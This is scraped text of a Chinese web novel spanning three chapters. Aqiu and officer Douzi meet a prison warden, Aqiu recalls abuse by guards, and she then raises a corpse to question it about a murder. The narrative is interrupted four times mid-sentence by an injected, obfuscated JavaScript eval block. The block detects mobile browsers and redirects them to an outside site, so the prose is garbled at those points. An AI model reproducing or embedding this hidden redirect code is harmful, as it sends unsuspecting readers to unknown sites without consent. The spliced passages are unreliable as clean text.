阿邱嬉皮笑脸地说:“知道了知道了,我保证一个笔划都不会写错。” 过不了两秒钟,她又问:“我们要去偷什么啊?” “太平间里有什么?” “有冰柜。” 豆子看起来不是很想理她。 阿邱仔细听着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149264|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸频率。这个季节不容易发生二次感染,但伤没好全就不停地走动肯定很疼,所以她提议道:“偷完冰柜你还是接着回去住院,有事交给我就好。” “不行。” “哎呀,我保证全程集中注意力——” “下午我要跟劳伦斯小姐约会。” “?” A、阿邱耳朵的位置上真的长了两株仙人掌。(0分) B、两阵疾风的恋情已经发展到这个阶段啦!?(5分) 不对,吻戏之后才有约会也算进展缓慢的了,根据冰山理论还是什么的,被阿邱目击到的约会即将发生第二次,这二位背地里的约会次数,很可能已经比旧矿山镇的蟑螂还要多了! ——热情表演也在这里起到了催化作用吗?低俗! 但首先,这是能告诉她的吗? 请假理由表递上去,正式工向临时工告知私人行程……远没到离谱的程度。 但她这个临时工一点参与感都不想要! …… 她可能发呆了很久,回过神来,豆子正在平淡地解释:“人家带果篮来看我,我总不能直接拒绝吧。” “果篮才是正确答案!?” 豆子一愣:“什么问题的答案?” 最后,阿邱用“跟他们任何一方发展出排他的关系对我来说都是灾难,相似的人内部消化就好免得祸害别人嘿嘿真是天下大同”勉强调理好了自己,仅在豆子的下一个问句上产生了一点波动:“你怎么看?” “我、我怎么看?” “一上午的时间够不够?” 对了,偷冰柜要赶在森林戍卫队上班之前,偷出来之后还有别的操作,阿邱回想了很帅的技能每次起效的速度,有些不自信道:“我不确定,但一上午恐怕真的不够,可以把午饭时间匀过来吗?” “要这么久?那不去约会了。” 阿邱在逐渐缩小的锐角中大惊失色:“啊?不能用我的速度来决定这个啊!” “你已经帮我做决定了。” 阿邱不知所措地举着一口锅,有一个瞬间想把锅和豆子一起扔在路边的草丛里,让路人捡回去搁点油炒了。 “不不不,还没到做决定的时候,我会尽快完成的!” 豆子深吸一口气,第三遍跟她强调:“我不对速度做出要求,请你精益求精地把冰柜收拾干净,每颗螺丝钉都不要放过。” 前后夹击之下,阿邱被挤出一丝愧疚:“我一定会在精益求精的基础上确保效率的!” 看她那副样子,豆子收了脾气,抬头望天:“……道歉这种事什么时间都可以,尤其是在双方都没诚意的情况下……” 一路说着,轮廓以豆子的胳膊肘为起点、以阿邱冷汗涔涔的搂腰手为终点的两条人接近了车站。 太阳对夜之窟的一瞥还没结束,那里已经坐了一个人。 身材瘦长,穿得很随意:条纹丝绸睡衣,外搭一件休闲外套,没穿袖子;坐得却端正,全身上下不见褶皱,把宽肩的气势发挥到了极致,是懒散、松弛以及活动在这一带的醉汉的反义词。 听到吵闹声,他先起身,然后才转头确认来者。 ——露出了和善的笑容,缓步向他们走去。 对阿邱来说,一座浑身裂缝的、行走的塔尔塔洛斯正在向她靠近。 63. 第五十一章 触角(3) 有时,沉默也是无声的尖叫。 区别于一般沉默,经常还伴随着闭嘴之外的应激行为,像邱小姐这种就很典型:前一秒还威猛地扛着体重大于自己的伤员,后一秒就滋溜一声蹿到后面去了,头顶还在他咯吱窝里擦出一道车轮印,目前正贴在伤员背上一阵阵地发抖,活像一根不停挨敲的音叉。 不幸的是,她和身前的盾牌不光长度一致,宽度也基本相等,一个纵深镜头拍过去,顺序会是靠不住的溜肩、靠不住的溜肩、藏不住的直角肩。沉重的、让人透不过气的威压,仍能通过占据视野轻松地追上来、包裹住她。 眼前那人的登场倒在意料之内,豆子沉默的原因是,这不是局外人可以随便插话的场合。在身前身后任意一方开口前,他应该安静地当个分隔号。 三秒后,微笑的那个先声夺人: “二位早啊。” 发抖的那个紧随其后: “今今今天天气很冷!” 还是意味不明的经典邱式问候,只是多了几道重影。豆子不禁好奇,每次寒暄都像背书的邱小姐,会如何跟她最害怕的一个人寒暄呢? “海风这么大,怎么还没把你刮走啊!” ——竟是直抒胸臆。 难道恐惧累加到上限就会变质为胆大包天?许是一早上受到太多惊吓,邱小姐不仅情绪失控,神经恐怕都有点错位了,语气里还带着谜一样的凶神恶煞:“哇,好丢人啊,大名鼎鼎的塔城典狱长、洱鸾大陆头号正经人,居然一大早就被我逮到在红灯区闲逛,还穿得这么客气?我要写信到你们单位告发你!” 话是这么说,她死活不肯从伤员背后挪开半步。 是不是稍微有点……那什么仗人势了?实力层面,显而易见,两个溜肩加起来都拧不折宽肩的半根手指头,分隔号觉得是时候站出来调停了,却没想到典狱长也调高了打哈哈的调门:“好啊,欢迎来信投诉,我一定会好好规劝我的。” 结论是,塔尔塔洛斯这块地方很难孵化出一个正常人。 也罢,早晚都得面对的,豆子还要赶时间,便不打招呼地发挥了分隔号以外的作用:站直身子,调动全身的感官阅读着台词之下的暗流—— 唔…… 就这? 他几不可闻地松了口气,反手薅了一把再次炸开的蘑菇头:“出来吧邱小姐,对方没有恶意。” 真的一点都没有,豆子也很意外。不过他的标准放得较宽,最小程度的恶意是在拍人肩膀时偷偷拔掉一根头发,最大的就不说了怕过不了审,要是典狱长的计划是在邱小姐的鞋里放石子,或者包里放青蛙,他可就管不着了。 “不可能!”邱小姐一点也不信,对抗着豆子往外掏人的力道,要不是长得不够矮,怕是已经在咬他裤脚了,“罗宾警官你不了解这个人,不知道他有多出尔反尔!这样,我们两个先假装投降,你骗他说天上有龙驮着美女飞过,等他一抬头我就扛着你跑——前面那条街道可以通往下一站对吧?就这么定了!” “你声音小点这个计划还有成功的可能。” “——那么,你了解身边的人吗?” 据传出尔反尔、但截至目前笑意一分不减的典狱长果然接话了。 邱小姐哇地大叫:“正在了解中!!” 然后才捂着豆子流血的耳朵追加一问:“你在说谁?” 典狱长漆黑的瞳仁缓缓转动,比起和邱小姐你一言我一语地打嘴仗,他好像更想把眼前的场景烙进那个深不见底的隧道中,语气就比眼神随意多了:“你知道的,我向来不赞成韵律障碍者相互走得太近,何况一开始就不以真面目示人,日后还要怎么把关系维持下去?” 包裹着邱小姐的威压顺着脊梁钻进了豆子的肺里。 什么都写在脸上的邱小姐捂住他幸存的那只耳朵,威猛地反驳:“不要胡说,罗宾警官哪里有韵律障碍了!” “本来前天晚上就想来找你的——”典狱长并不理会,只管说他认为邱小姐需要知道的事情,“被一些个人私事绊住了脚……” “全境人民都知道你干什么好事去了,真不害臊!” “——听说不冻港小船屋的招牌菜是限量款,所以很早就来这边等车了……” “谁信呐,最早的那班车刚走,你怎么不上去?” “……忽然想起你也住在夜之窟,来都来了,顺道就调研一下我监服刑人员出狱后的发展情况。” “……!” 邱小姐像被肥皂塞住嘴似的,“咕嘟”一声吞掉了下面的话。 至此,典狱长正式夺过麦克风,换上了一副训诫的口吻——别的不提,和外表总算有点配套了:“你有没有反思之前的经验教训、更加谨慎小心地生活呢?” 豆子身后传来清脆的颈椎缩骨声,伴着非常微弱的顶嘴:“你你、你管得着么……” 典狱长托着下巴思考了一会,收了威势,又笑开:“嗯,宽泛的话你应该听不进去,我再给你几条具体的建议把:最近镇上人员纷杂,第一,不要轻易理会40岁以下陌生女性的搭讪。” 具体到了年龄性别?豆子推测,这句话可能才是他今天要说的重点。 “第二,虽然洱鸾大陆有一条法律:韵律障碍严重者过失杀人当判无罪释放,其收容单位负全责,但这条法律还有一项特殊的解释:如果是患者杀死调律师的情况,但凡有过一次就诊记录,都会按完全刑事责任能力人的标准量刑。” 稍纵即逝的沉默过后,邱小姐的迷惑结实而尖锐:“诶?你在说什么?这是你从哪里看的新闻吗,还是你们新抓的犯人?好吓人啊罗宾警官,你说这人是不是疯了?” “不用问他,这位盾牌先生以及他的长官可能也是这么打算的。”典狱长又把视线转向豆子:“刚好我对你也有一句告诫:小心水仙花。” 豆子活动活动脖子,跟他进行了有生以来的第一次对话:“没别的事可以先让开吗?车来了。” 见他也是这个态度,典狱长一怔,扶额叹气:“唉,我还真是不受年轻人的欢迎啊。” 而邱小姐也为之恢复了大声嚷嚷的底气:“确实确实,你好好反思一下吧!” “在反思了。我再讲最后一句:塔尔塔洛斯的老传统你们都知道,进去了就出不来,出来了就没有再回去的,希望你——”典狱长顿了顿,好像忍住了某种语言习惯,“邱小姐,不要做第一个打破惯例的人。” 他转身挥手:“走了走了,以后尽量别再见面了。” “我求之不得!” 他脚步极快,前去的那条路也并不通往苹果派,于是邱小姐的话没能追上他的背影。 抹掉眼泪、收起犬牙,她从盾牌后面走出来,又把豆子当成一个雕花立柱,只有身体出了门,十个指头仍抠在褶皱里不想离开。 雕花立柱又痒又疼,侮辱十个指头的人格道:“邱小姐,你真怂。” 这句毫无攻击性的话又引起她的泪腺活跃:“我有什么办法,如果你是我,你肯定比我还……不行,你不能是我!总之,他说以后都不会来骚扰我们了,姑且先这么相信着吧。” “是骚扰你,没有‘我们’。” “你不懂,这个人从来没有白做的恐吓,很可能今晚就从水仙花盆里钻出来了,钻进你的房间、割了你的头,唔唔,你睡觉的时候最好抱着锏和警棍,咖啡壶也可以……” “那个人叫权朱?” “嗯?嗯。” “还挺帅。” “什么?!” 被这段插曲打断,豆子继续抬头望天:“哎,真想长成他那样,任谁看一眼都会记一辈子。” “你不是吧?” 这下,邱小姐的每一寸皮肤都远离了他,但是急急走了两步,拦在他和车门中间:“先别动,让我听听你的心跳!” 民间医生凑在他胸前仔细听了一会,直起腰道:“这也没给你下毒啊!你怎么回事,居然会喜欢上塔尔塔洛斯的狱警?你不觉得他们很可怕吗?” 在正常人的视角里,能说出这种话的人才是真的可怕。 豆子恶意揣测:“不跟你统一战线就不依?也太霸道了吧。” “这是统一战线的问题吗?我是在提醒你……” “走不走?司机在催你。” “哦哦,你坐窗边,我把门……嘿哟。”邱小姐把豆子轰进去,疲惫地在他身旁坐下,“真不是我霸道,你想想他一大早的出现在这儿合理吗?我看他就是一路跟踪你过来的!” “不会,他就住这儿。”依据是条纹睡衣。 “夜之窟。你家附近。”怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159097|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能引起邱小姐的重视,豆子强调道。 耗尽力气的人只剩一个逃避的策略:“哈哈哈怎么可能,典狱长诶,住在夜之窟像话吗?……罗宾警官你们宿舍是不是有空出来的床位?水仙花晚上可以放在室外吗?……” 商量好了今晚搬过去的事,邱小姐抓住豆子的右臂:“那他就是从街口开始跟踪你的!” ……是怎么推到这里的? “他又不知道我出院了。” 邱小姐想了想,一点小聪明开始从大傻子背后冒头:“但我怎么觉得你好像知道他会来蹲我似的?” 豆子也早已准备好了转移话题的方法:“报刊亭那边怎么办?” “哦对了,搬过去之后每天得起早……等一下,我今天是不是只能翘班了?我还没请假呢!” “节哀吧。” 邱小姐痛苦地抱住头:“我们能把时间倒回半小时前重新开始这一天吗?” “然后你顺着管道爬走?”就像那个从来不走正门的矫情女装男。 “好了,不要再笑话我了。” 邱小姐瞄了司机一眼,又看车上没有第三个人在,像是下定了什么决心,握紧他的手臂低声道:“罗宾警官,你这个养尊处优的厂长之子完全不了解社会的阴暗面——” 谁是厂长之子? “塔尔塔洛斯的狱警有多可怕,外面的人根本无从了解,今天,就由我来带你长长见识吧!” 金刚大力的副作用是下手没轻重,豆子觉得他身上可能又多了些零碎的淤青:“现在吗?等下次有空吧……” “通常,狱警的工作从五点钟开始,他们的第一项行程是用警棍砸门叫醒犯人,就算犯人因为害怕这个声音提前醒来,他们也照砸不误。你知道吗,和一般的制式警棍不一样,他们的警棍很粗、很吵——” “能直接说重点吗?” “……好,那我就不从早上讲起了。反正就是各种各样的事造成犯人一看到他们就害怕,出狱之后也会这样,所以不能觉得我们大题小做,明白了吗?而且对于我们女囚来说,还有更可怕的原因……呃,既然说到这里……我就顺嘴一提,你听听便罢。” 邱小姐舔舔嘴皮,看着豆子,绷着脸、攥着拳头,支支吾吾地说:“他们——有的人会找理由,把容貌比较……不,老奶奶也有可能——带出去……训诫不听话的犯人是、是在职权范围内的,不会被上头追责……后面还越来越恶心,也不知道谁的恶趣味,专门招那种又高又帅的狱警进来……好像这样就能淡化……似的,太恶毒了,调律师资格证也让他们有理有据地……有的姐姐就被骗了,真当恋爱谈,我们每天除了劳作也没有别的事情干,她们就把这种事当成生命中唯一的希望,有时还互相攀比……打、打架……” 说不下去就别逼自己说了吧。但豆子知道贸然打断很不礼貌,便一言不发地等着她说完。 “……但是很痛苦,真的很痛苦,每天晚上都有警棍来敲门……时间长了,没有人再为这件事攀比,背地里又开始做另外的较量,最后把输家推出去……” 一开始豆子还不理解,为什么邱小姐被强加工作还会满脸写着开心,现在他有点明白了,有的人无法长时间处在正向情绪中,是因为他们一旦被点亮,立刻就要开始担心熄灭,始终处在草木皆兵的状态里,直到有人真的再来熄灭他。 “后来我被所有人记恨。”邱小姐越说头越低,如果她是蜗牛,壳的外面可能只剩两根触角了,“她们从来不推我出去,又因此排挤我,谁叫我缩在壳里不帮她们分担呢……都是因为、都是因为我——” 邱小姐嘴唇动了动,用一声很长的叹息说了什么,但词不成句。 豆子被她浓烈的情绪触发了回避开关,偏过头去打了个哈欠,强打精神问:“因为你什么?” 邱小姐抬头看他,眼睛微微睁圆,随即闪过一丝失望,眼皮背后的支撑力慢慢松懈了。 她放开了豆子的胳膊,精神百倍地说:“嘿嘿,因为我未成年呗!” 够了。 豆子抗拒着身体的本能想替他做的选择。已经有很多淤青了,他不介意再多一些。 他抓住她回缩的手,用力往怀里一拉,把那颗只装得下害怕的蘑菇头按在胸口上——那是离致命伤和心脏最近的地方。 64. 第五十二章 单方面 早上好,旧矿山镇倡导全境公民还清晨一个安静,其余基础设施可稍微放一放,902路有轨公车必须使用最先进的降噪燃油引擎——当全车乘客都响应此地号召,便只剩车轮碾过轨道,发出机械的、有规律的“哐当”声。 豆子把胳膊支在窗台上,阿邱把手揪在披肩上;一个望着窗外,一个望着另一边的窗外。 阿邱的眼睛不敢到处乱瞟,也控制着发抖范围的扩散,脑子里的火山仍在不停地喷射岩浆,四周只剩焦土、熟人和进化成耐高温体质的物种—— 她就从没见过比豆子警官还冲动的人! 还一如既往地没有边界感!说着说着就抱过来了,事前不打招呼,事后也不给不打招呼找理由! 不像阿邱,她就很讲礼貌,听心跳都是隔空听的,一个家境优渥的公职人员,怎么在礼仪这块还不如她呢?说来上回那笔账还没算呢——指突然抢走她手上的糖。还有上上回,事发同一地点,就算抢走徽章得到了豆记当铺的解决方案,摸她口袋这件事本身就很不应该了! 本来不错的气氛一下子变得很蓝……很蓝是什么形容?有点奇怪,但也精准,阿邱决定以后就这么说了。 “哐当”、“哐当”。 路程还长着。人不可以死于尴尬,就像不能被自己闷死在被子里,所以更讲礼貌的阿邱要先打破沉默。她把全身的钙质输送到头皮上,小小声地开了口:“罗宾警官,你的背……还好吗?” 在寂静得即将要闹鬼的车厢中,这是每个人都能听清的音量。 豆子仍旧不理不睬,眼珠子都不带转一下的。这也情有可原,当你试图向一个人展示善意,却立即被她大力推开,脊梁骨撞在车身上发出巨大的声响,把前面的司机都吓一哆嗦,就是脾气比豆子好一万倍也会有怨言的。 钙质流逝使牙齿松动了,想起豆子警官咕噜咕噜滚下去、撞在舞台上碎了一地的……英勇身姿,阿邱咬紧了它们,暗下决心:我造成的损失我来挽回! 她鼓起勇气抓住豆子的胳膊——被甩开,又抓住,抢在对方发火之前说:“罗宾警官,刚才那一下我不是故意的,就是你突然抱过来吓了我一大跳……我能提个建议吗?我知道你是想安慰我,我心里也很感激,但在方法上,你其实可以稍——微地改进一下……” 豆子左右晃动胳膊,把它抽出来,头也转得离阿邱更远,撑着窗户的那只手在男生长胡子的地方搭个凉棚,本来就只剩下四分之一个侧脸,表情还被他遮住了一半。 阿邱不放弃,身子探到他前面,脑袋都快贴到窗玻璃上了:“我是觉得,异性之间还是应该注意一点分寸!” 豆子的手指动了动。他放下凉棚,终于看向她:“不希望我有所表示,你说那么一大通干什么?” 停顿一会,他又移开视线:“也怪我理解错了。” “不不不,你没有理解错,我是在讲你要注意方法……” “知道了,别说了。”豆子瞥了一眼她的口袋:“你不就是见人下菜碟。” “什么意思?” “东西要掉出来了。” “哦哦。”阿邱低头把露出半截的情商修炼手册往里塞了塞。 “以……的职责,只吃饭不干活还挑三拣四的,那不就是圈养……” 他在嘀咕什么?临时编外人员的职责怎么还涉及圈养哪? 那应该不是在说她。阿邱在裙子上擦了擦手,伸到他面前,郑重道:“我们是合作中的正义的伙伴,不可以一直冷战,如果你愿意原谅我,就来跟我握手言和吧!” 豆子的手仅在她指尖拂过一下就撤走了:“回去记得用肥皂水洗三遍,古装老太婆。” “——‘正义的伙伴’?”闹完了别扭,他又开始挑剔字眼,“这就是你对本次行动的定义?” “虽然方法有点极端,但出发点是完全正义的不是吗?要不是森林戍卫队封锁消息,谁会想到去偷冰柜啊……”阿邱捂了一下嘴:“我这样算不算在诋毁他们?” 说实话,听到豆子宣布重启调查双尸案,阿邱一瞬间鼓足了干劲,即便报刊亭的工作在一定程度上已经完蛋了——因为库奇先生是一位典型的不讲情面的老人,时间也很充裕,足够他在满地的红豆绿豆中找到一粒错处并揪住不放——阿邱也为即将发挥真正“专业对口”的作用而振奋不已。世上还有比它更完美的秘密任务吗? 豆子咕哝道:“刚才你还号召世人‘注意方法’。” “那是因为实在没办法了……羞愧是一方面,只要结果是好的,我们就不算做错。” “嗯,脸红也是因为羞愧。” 阿邱摸摸自己的脸。她脸红了吗?那么豆子呢?有没有一直关注着他脸色的人过来澄清一下?澄清如下:很遗憾,没有。别人才不跟你似的什么都忍不住。 等了几分钟,让豆子自行消化了火气,阿邱小心翼翼地接上话茬:“我刚才说的那些事也不能涵盖整个狱警群体,就像权朱,其实我以前从没见过他,只在广播里单方面地被他下达过命令……瞅我干嘛,这是真的,塔尔塔洛斯面积很大的,我不在他的系统里,他可是堂堂典狱长,工作对象都是穷凶极恶的重大嫌犯,运气不好时每天还得战斗……” 说着她咽了口唾沫:“所以我不清楚他有没有……先疑罪从无吧,但‘狱警都不是好东西’这句话还是成立的,他身为管理者不可能不知道这种乱象,但从不出手干预,也是难辞其咎!你以后见了他也不用特地躲起来,只需要保持普通的讨厌就可以了。” “我晚上就约他出来吃饭。” “哎?你、你……好,那我会偷偷跟在你后面,趁你们上厕所在菜里下泻药!” “塔城毒霸。” 阿邱有点生气了,她是在提醒豆子注意防范小人,结果被他起了两个莫名其妙的外号,这个豆子警官是不是有点不识好人心了? 她在心里哼了声,仁至义尽地没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163959|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有表现出不悦,并高贵地抱起胳膊:“总之你记住,以后看到塔里出来的人,要养成一种习惯:做好最坏的打算。” “谁有空天天看着你们这帮人,自己的事都快忙不过来了。”豆子翻个白眼,往下一溜,又开始假寐。 “所以我们要抓紧时间。”像是想起自己是带着焦躁来的,很快他又坐起身:“因为我下午必须去约会。” 怎么突然又做决定了?阿邱不是傻子,并且刚从不太常规的渠道搞懂了一点点豆子警官的心思,在她看来,这个时候宣布要去约会,不就是在释放“我有主咯请你不要自作多情”的信号吗? “我也是有原因的。” 这她当然想得到…… “劳伦斯的飞笺器跟私人信号塔有合约,可以帮我联系到海上的克洛诺斯。” 但她没想到是这个原因! 阿邱大为震惊:“然后你就上钩了?” 这跟见人手里有鱼干就两眼放光地跟着跑了的流浪猫有什么区别! 她问:“克洛诺斯队长是你的……某种生活必需品吗?” 可能被戳中要害,豆子焦躁更甚,但嘴上拒绝承认:“他也配?” 好的好的。至此,豆子警官心里的排序在阿邱这边已经连底裤都不剩了:他对近在眼前的危险心里没有一点数,也不关心约会对象是否在乎他的身体状况,罗宾·洛夫克拉夫特的人生?围着克洛诺斯打转罢了!待在克洛诺斯身边是他的日常,克洛诺斯被不可抗力带走是他的备战模式,于是一大早撑着病躯来找帮手,要是半路伤口裂开,还可以找厉害的阿邱再下一剂猛药。 意识到自己这一局扮演的是“能人”的角色,而一切的源头不过是粉丝对偶像的分离焦虑,阿邱更是从审视的位置爬到了道德制高点,打开大门让交响乐团入场,每位演奏家的喇叭口都很大、都不怀好意地冲着豆子——跟刚才相比颜色深了些,多半是脸红了。 死鸭子还在嘴硬:“那种人死海上算了,大家都能轻松一点。” “然后你殉情?” 许是阿邱太把“嘻嘻被我看透了吧”写在脸上了,豆子烦躁得拳头都攥紧了:“那群警棍很粗的不光不来敲你的门,还从来不没收你的脑瘫恋爱小说?” 阿邱完全没感受到冒犯,用逗猫的口气说:“哎呀,单方面的倾慕好痛啊——” “你要不要停车下去发完了癫再走?” 豆子没有气急败坏,只是老练地眯眼看她,但阿邱只能透过这个表象看到他床底下成箱成箱的克洛诺斯珍藏海报,还有旁边碎了满地的“前辈”的威严。 梦想可以是一件具体的事,但不能是一个具体的人,要是娜塔莎还在,阿邱也会这么劝她的。忽然发觉自己赢在了对梦的理解上,她更加得意了,却不想立即就把这个有益于身心的道理教给豆子——她要把延迟满足当作抢风头最后的惩罚!从这之后,她就再也不对大概也很孤独的豆子警官抱有任何怨念了。 65. 第五十三章 材质 接下来的乘车时间里,豆子的假寐有多焦躁,阿邱给迷你平面鸫试戴纸片领带的情绪就有多平静。 不过下车时,她还是好端端地把威严还给了编制内人员。编制内人员接过、展示,方式是上位者的关怀: “现在问可能晚了,你怕那个吗?” “我不怕。他也是个可怜人,女主人没有同时委托专人护送他回家,才给我们留下了可乘之机。” 豆子却说:“这不能怪女主人,她不知道塔桥的老家在哪,但肯定知道他不愿魂归威丝塔芬。” “镇长主张把他葬在集体公墓吗?” “不出意外,戍卫队的‘搬运工’今天就会行动。” 好可惜啊娜塔莎,你差点就有帅哥看了。 镇医院广场的喷泉浮现在眼前。约莫十分钟后,豆子左手拉着阿邱,走小路来到了背阴处的垃圾处理站B。 医院清洁工和森林戍卫队上班时间一样,戴好口罩,阿邱的头一件事是把豆子轰走。 “罗宾警官,你可以先回避一下吗?” 趁这个空当,豆子把可以容纳一人的垃圾桶拖到隐蔽处。他总算为分寸与随和找到了各自的位置,什么都不打听,临走前只阴阳怪气地留下一句:“希望我回来的时候人还是完整的。” 阿邱嘴角一抽:“你放心,我平时不吃死人。” 满地枯叶中躺着一具冰冷的尸体。 阿邱引以为傲的专长——说“专长”不够特别,趁没人在,建议旁白说成“不传之秘”。阿邱引以为傲的不传之秘,开头和结尾都很帅,能向外人展示的那部分也是纯粹的厉害,唯一比较窝囊的,是中间的过程…… 俯身之前,她尝试推动鼻梁上的眼镜,手指一空,才发现忘了戴眼镜出来。就说这一路的行动怎么莫名其妙变轻松了些,真希望接下来的事情也能一样顺利。 掀开口罩一角,她凑到死者的耳朵边上:“塔桥·蜜丝缇,你醒一醒……塔桥·蜜丝缇,快起床咯……” 很窝囊吧。赶紧、赶紧跳过这段。 如此重复这个操作,体感比平时花了更久的时间,终于,塔桥的脖子诡异地抽搐一下,牵动头部左右摆动,用这个动作打开了鼻腔,以破风箱的啸叫声拼命吸入一口气,身体的抖动逐步传递到四肢,全身骨骼咯咯咯地响个不停。 忽然,尸体双目圆睁、挺身坐起,手臂僵硬地绕到后面,捂住了后脑勺。 重返人间,塔桥的第一句话是:“对不起我再也不敢了!” ===== 不传之秘的核心,或者说难点,在于如何把两个脑子分开。 已经离开世界的人想要继续表达意见,就必须借由别人的脑子发声,在这之前,阿邱的任务就是不断进行飞速的判断,以从自己的观点中分裂出死者“没有停止思考”的那部分。 别人一生的记忆一瞬间涌入脑中,阿邱差点被脑负荷超载干废了,扶着旁边的枯树吐了好一会酸水,才叫豆子警官过来。 豆子嫌弃地递给她一瓶解酒药剂——哪里来的?上上下下打量塔桥一番,回头用新的眼神看过蔫了的阿邱,发出一个代表惊叹与赞赏的小动静,然后坐下来,立即进入工作状态: “塔桥,你还记得我吗?” “稍等一下。”阿邱用药剂漱了口回来,“他现在还分不清谁是谁,需要我接着引导。” 塔桥的眼睛确实紧紧黏在她身上,开口就问:“邱珊,我好吗?” “我很好。” 引导的方法是宣告“相似之处”的不同,阿邱说:“跟你不一样,我出来之后遇到的坏人都很典型,什么充满偏见的抠门老板啦、把自己的糟老头子丈夫当个宝看谁都像小三的夫人啦……” 还有一撅就折的疯狂粉丝啦…… 塔桥不敢相信:“外面真的全是一眼就能看出来的坏人吗?” 阿邱抓住突破口:“对,只有你被外表光鲜的衣冠禽兽关在家里!” 塔桥扶住额头:“是的、是的,我想起来了。” 阿邱连忙伸手引导豆子:“趁现在,赶紧审!” 豆子没有花时间去理解这段对话的意义。这个场景的气味可能很不好,他在口罩之上又用手虚掩住鼻子,沉声道:“我们是终止式,正在重新调查你和你父亲的死亡案,你现在把案发当天看到的一切都告诉我们,事无巨细,对找出真凶有利。” 阿邱有些郁闷地心想,要不是豆子多手多脚,这里本来可以有一个正义的伙伴展示徽章的帅气环节! 塔桥毫无起伏地转着脖子看向豆子,眼珠盯在他脸上不转:“那天下午,你把我打飞了。” 阿邱往后一仰:“你干嘛打人啊?” 豆子不自在地咳了声:“对,就从那里讲起。” “哦。然后威廉先生把我接走了。接我上了有轨公车,一起去镇南找一个叫加百列的调律师。”塔桥机械地开合着嘴,“安德烈父亲,最近觉得我韵律不稳定。” 阿邱忍不住插话:“加百列对你干了什么?” 豆子瞟她一眼,阿邱狡辩:“事无巨细,你说的。” 塔桥向上翻着白眼,代表他在回忆:“加百列老师真是位罕见的大好人。” 阿邱不乐意了:“啧,你还是说点别的吧。” “他让威廉先生出去,单独把我留下,然后告诉我,‘如果你想反抗、你想逃跑,今晚就是唯一的机会’……” 豆子眉头一蹙:“接着说。” “好的,警官。我被他说动了,但无法决定反抗还是逃跑,等我出来,威廉先生不见了。加百列老师的助手,名字好像叫霍恩,给我一张他留下的纸条,吩咐我自己先回去,因为他找到了之前叛逃的那个学生,要去跟他叙叙旧。” “他有写下这个学生的名字么?” “没有。他以前经常提起那个人,说他在一场大火中失踪了,最后一次收到疑似是他的消息,好像是说他正在为‘同一个人’效力……” “你偏题了。”豆子忽然打断,“接着说当天的事。” “遵命,警官。然后我一个人乘车回到‘戏梦人生’旅店……” “哼,选择性通融的神奇旅店,招来凶杀案了嘛这不就。”阿邱嘀咕着。 “……然后母亲来找我解决婚契的事。” “婚契?是说她和你父亲的结婚契约?为什么需要你来解决?” 豆子敏锐地指出:“他说的是‘那个’婚契。” 阿邱愣了一会才反应过来——这一家子玩得真花! 为什么要这样说?所谓“那个”婚契,指的是洱鸾大陆从上古时代流传下来的一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170623|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 习俗,根据近年的古文字考证,先民不管它叫“婚契”,而是用“氏印”称呼它,外族男性在女祭司身上留下烙印——可能是之前的族徽,也可能是自己的名字与“达”、“信”等文字组合而成的符号,比较懒惰的就设计成家门口那棵歪脖子树的形状——代表他愿意加入新的家族并誓死效忠。通过调查冰层之下的女祭司古尸,考古学家称,婚姻不是烙印的主要来由,她们身上的烙印更多来自同部族的战士候选,因为历史书上写了嘛,女祭司只是形式祭司,又没有战斗力,最高只能成为氏族第一信使,手里没有实权,所以男战士的头儿才是那个氏族真正的领袖。 随着一妻一夫的新文明淘汰了旧传统,这种烙印也就变成了宣告忠贞的“婚契”,当然更常见的一种作用是:在当今时代,发现妻子身上有别人的婚契,成为离婚官司中判处妻子净身出户的重要依据。 